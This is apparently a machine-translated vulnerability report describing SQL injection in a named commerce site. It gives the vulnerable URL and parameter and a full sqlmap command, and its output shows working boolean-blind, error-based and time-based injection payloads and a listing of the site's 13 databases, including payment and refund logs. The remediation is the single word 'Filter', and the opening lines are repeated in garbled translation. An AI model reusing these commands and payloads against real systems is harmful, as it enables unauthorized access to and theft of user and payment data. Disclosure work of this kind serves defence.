Because the ROOT permission is injected into an SQL statement by micro-seller, basically all data is stored.

Because the ROOT permission is injected into an SQL statement by micro-seller, basically all data is stored.

Micro-seller has ROOT permission for SQL Injection-basically all data is in

Http:// B .weimai.com/index.php/wap/Index/order/token/1252359/c_userid/0/skuid/244285/buy_count/1/from/view? Id = 33094


Error injection in id


 

 

root@bt5:/pentest/database/sqlmap# python sqlmap.py -u "http://b.weimai.com/index.php/wap/Index/order/token/1252359/c_userid/0/skuid/244285/buy_count/1/from/view?id=33094" -p id --dbms=mysql --dbs    sqlmap/1.0-dev-25eca9d - automatic SQL injection and database takeover tool    http://sqlmap.org[!] legal disclaimer: usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Authors assume no liability and are not responsible for any misuse or damage caused by this program[*] starting at 12:06:26[12:06:26] [INFO] testing connection to the target urlsqlmap identified the following injection points with a total of 0 HTTP(s) requests:---Place: GETParameter: id    Type: boolean-based blind    Title: AND boolean-based blind - WHERE or HAVING clause    Payload: id=33094) AND 4898=4898 AND (6373=6373    Type: error-based    Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause    Payload: id=33094) AND (SELECT 6042 FROM(SELECT COUNT(*),CONCAT(0x3a6674653a,(SELECT (CASE WHEN (6042=6042) THEN 1 ELSE 0 END)),0x3a6771713a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND (1550=1550    Type: AND/OR time-based blind    Title: MySQL > 5.0.11 AND time-based blind    Payload: id=33094) AND SLEEP(5) AND (7172=7172---[12:06:26] [INFO] testing MySQL[12:06:27] [WARNING] reflective value(s) found and filtering out[12:06:27] [INFO] confirming MySQL[12:06:27] [INFO] the back-end DBMS is MySQLweb application technology: PHP 5.3.3back-end DBMS: MySQL >= 5.0.0[12:06:27] [INFO] fetching database names[12:06:27] [INFO] the SQL query used returns 13 entries[12:06:28] [INFO] retrieved: information_schema[12:06:28] [INFO] retrieved: f_event_c[12:06:28] [INFO] retrieved: f_event_i[12:06:28] [INFO] retrieved: f_event_o[12:06:28] [INFO] retrieved: f_log_pay[12:06:28] [INFO] retrieved: f_log_refund[12:06:29] [INFO] retrieved: f_message_c[12:06:29] [INFO] retrieved: f_message_i[12:06:29] [INFO] retrieved: f_message_o[12:06:29] [INFO] retrieved: jinzai_2014[12:06:29] [INFO] retrieved: jinzai_ppe[12:06:30] [INFO] retrieved: mysql[12:06:30] [INFO] retrieved: performance_schemaavailable databases [13]:[*] f_event_c[*] f_event_i[*] f_event_o[*] f_log_pay[*] f_log_refund[*] f_message_c[*] f_message_i[*] f_message_o[*] information_schema[*] jinzai_2014[*] jinzai_ppe[*] mysql[*] performance_schema[12:06:30] [INFO] fetched data logged to text files under '/pentest/database/sqlmap/output/b.weimai.com'[*] shutting down at 12:06:30

 

Solution:

Filter